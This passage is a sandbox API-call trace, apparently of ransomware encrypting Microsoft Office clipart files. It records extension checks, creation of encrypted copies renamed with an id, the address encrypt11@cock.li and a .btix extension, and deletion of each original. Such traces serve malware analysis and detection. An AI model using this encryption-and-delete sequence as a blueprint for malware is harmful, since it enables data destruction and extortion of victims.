lpString2=".MID") returned -1 [0137.208] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.208] lstrlenW (lpString="PARNT_09.MID") returned 12 [0137.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.209] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=6764) returned 1 [0137.209] CloseHandle (hObject=0x540) returned 1 [0137.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0137.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.209] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.210] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.210] GetLastError () returned 0x0 [0137.210] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0137.212] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0137.212] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.212] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.213] SetEndOfFile (hFile=0x508) returned 1 [0137.213] CloseHandle (hObject=0x508) returned 1 [0137.213] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.213] SetEndOfFile (hFile=0x540) returned 1 [0137.215] CloseHandle (hObject=0x540) returned 1 [0137.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0137.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.216] lstrlenW (lpString=".doc") returned 4 [0137.216] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.216] lstrlenW (lpString=".docx") returned 5 [0137.216] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0137.216] lstrlenW (lpString=".pdf") returned 4 [0137.216] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.216] lstrlenW (lpString=".xls") returned 4 [0137.216] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.216] lstrlenW (lpString=".xlsx") returned 5 [0137.216] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0137.216] lstrlenW (lpString=".ppt") returned 4 [0137.216] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.216] lstrlenW (lpString=".zip") returned 4 [0137.216] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.216] lstrlenW (lpString=".rar") returned 4 [0137.216] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.216] lstrlenW (lpString=".bz2") returned 4 [0137.216] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.216] lstrlenW (lpString=".7z") returned 3 [0137.216] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.216] lstrlenW (lpString=".dbf") returned 4 [0137.216] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.216] lstrlenW (lpString=".1cd") returned 4 [0137.216] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.216] lstrlenW (lpString=".jpg") returned 4 [0137.216] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.217] lstrlenW (lpString=".doc") returned 4 [0137.217] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.217] lstrlenW (lpString=".docx") returned 5 [0137.217] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0137.217] lstrlenW (lpString=".pdf") returned 4 [0137.217] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.217] lstrlenW (lpString=".xls") returned 4 [0137.217] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.217] lstrlenW (lpString=".xlsx") returned 5 [0137.217] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0137.217] lstrlenW (lpString=".ppt") returned 4 [0137.217] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.217] lstrlenW (lpString=".zip") returned 4 [0137.217] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.217] lstrlenW (lpString=".rar") returned 4 [0137.217] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.217] lstrlenW (lpString=".bz2") returned 4 [0137.217] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.217] lstrlenW (lpString=".7z") returned 3 [0137.217] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.217] lstrlenW (lpString=".dbf") returned 4 [0137.217] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.217] lstrlenW (lpString=".1cd") returned 4 [0137.217] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0137.217] lstrlenW (lpString=".jpg") returned 4 [0137.217] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.218] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.218] lstrlenW (lpString="PARNT_10.MID") returned 12 [0137.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.235] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5393) returned 1 [0137.235] CloseHandle (hObject=0x540) returned 1 [0137.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0137.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.236] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.236] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.236] GetLastError () returned 0x0 [0137.236] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x1511, lpOverlapped=0x0) returned 1 [0137.238] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1520, lpOverlapped=0x0) returned 1 [0137.238] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.238] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.239] SetEndOfFile (hFile=0x508) returned 1 [0137.239] CloseHandle (hObject=0x508) returned 1 [0137.239] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.239] SetEndOfFile (hFile=0x540) returned 1 [0137.241] CloseHandle (hObject=0x540) returned 1 [0137.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0137.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.242] lstrlenW (lpString=".doc") returned 4 [0137.242] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.242] lstrlenW (lpString=".docx") returned 5 [0137.242] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0137.242] lstrlenW (lpString=".pdf") returned 4 [0137.242] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.242] lstrlenW (lpString=".xls") returned 4 [0137.242] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.242] lstrlenW (lpString=".xlsx") returned 5 [0137.242] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0137.242] lstrlenW (lpString=".ppt") returned 4 [0137.242] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.243] lstrlenW (lpString=".zip") returned 4 [0137.243] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.243] lstrlenW (lpString=".rar") returned 4 [0137.243] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.243] lstrlenW (lpString=".bz2") returned 4 [0137.243] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.243] lstrlenW (lpString=".7z") returned 3 [0137.243] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.243] lstrlenW (lpString=".dbf") returned 4 [0137.243] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.243] lstrlenW (lpString=".1cd") returned 4 [0137.243] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.243] lstrlenW (lpString=".jpg") returned 4 [0137.243] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.243] lstrlenW (lpString=".doc") returned 4 [0137.243] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.243] lstrlenW (lpString=".docx") returned 5 [0137.243] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0137.243] lstrlenW (lpString=".pdf") returned 4 [0137.243] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.243] lstrlenW (lpString=".xls") returned 4 [0137.243] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.243] lstrlenW (lpString=".xlsx") returned 5 [0137.243] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0137.243] lstrlenW (lpString=".ppt") returned 4 [0137.243] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.244] lstrlenW (lpString=".zip") returned 4 [0137.244] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.244] lstrlenW (lpString=".rar") returned 4 [0137.244] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.244] lstrlenW (lpString=".bz2") returned 4 [0137.244] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.244] lstrlenW (lpString=".7z") returned 3 [0137.244] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.244] lstrlenW (lpString=".dbf") returned 4 [0137.244] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.244] lstrlenW (lpString=".1cd") returned 4 [0137.244] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0137.244] lstrlenW (lpString=".jpg") returned 4 [0137.244] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.244] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.244] lstrlenW (lpString="ROAD_01.MID") returned 11 [0137.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.246] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5983) returned 1 [0137.246] CloseHandle (hObject=0x540) returned 1 [0137.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0137.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.246] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.246] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.247] GetLastError () returned 0x0 [0137.247] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x175f, lpOverlapped=0x0) returned 1 [0137.260] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x1760, lpOverlapped=0x0) returned 1 [0137.261] ReadFile (in: hFile=0x540, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.261] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xea, lpOverlapped=0x0) returned 1 [0137.261] SetEndOfFile (hFile=0x508) returned 1 [0137.261] CloseHandle (hObject=0x508) returned 1 [0137.261] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.261] SetEndOfFile (hFile=0x540) returned 1 [0137.267] CloseHandle (hObject=0x540) returned 1 [0137.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0137.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.269] lstrlenW (lpString=".doc") returned 4 [0137.269] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.269] lstrlenW (lpString=".docx") returned 5 [0137.269] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.269] lstrlenW (lpString=".pdf") returned 4 [0137.269] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.269] lstrlenW (lpString=".xls") returned 4 [0137.269] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.269] lstrlenW (lpString=".xlsx") returned 5 [0137.269] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.270] lstrlenW (lpString=".ppt") returned 4 [0137.270] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.270] lstrlenW (lpString=".zip") returned 4 [0137.270] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.270] lstrlenW (lpString=".rar") returned 4 [0137.270] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.270] lstrlenW (lpString=".bz2") returned 4 [0137.270] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.270] lstrlenW (lpString=".7z") returned 3 [0137.270] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.270] lstrlenW (lpString=".dbf") returned 4 [0137.270] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.270] lstrlenW (lpString=".1cd") returned 4 [0137.270] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.270] lstrlenW (lpString=".jpg") returned 4 [0137.270] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.271] lstrlenW (lpString=".doc") returned 4 [0137.271] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0137.271] lstrlenW (lpString=".docx") returned 5 [0137.271] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0137.271] lstrlenW (lpString=".pdf") returned 4 [0137.271] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0137.271] lstrlenW (lpString=".xls") returned 4 [0137.271] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0137.271] lstrlenW (lpString=".xlsx") returned 5 [0137.271] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0137.271] lstrlenW (lpString=".ppt") returned 4 [0137.271] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0137.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.271] lstrlenW (lpString=".zip") returned 4 [0137.271] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0137.271] lstrlenW (lpString=".rar") returned 4 [0137.271] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0137.271] lstrlenW (lpString=".bz2") returned 4 [0137.271] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0137.271] lstrlenW (lpString=".7z") returned 3 [0137.271] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0137.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.271] lstrlenW (lpString=".dbf") returned 4 [0137.271] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0137.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.271] lstrlenW (lpString=".1cd") returned 4 [0137.271] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0137.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0137.271] lstrlenW (lpString=".jpg") returned 4 [0137.271] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0137.272] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0137.272] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0137.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.273] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5058) returned 1 [0137.273] CloseHandle (hObject=0x540) returned 1 [0137.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 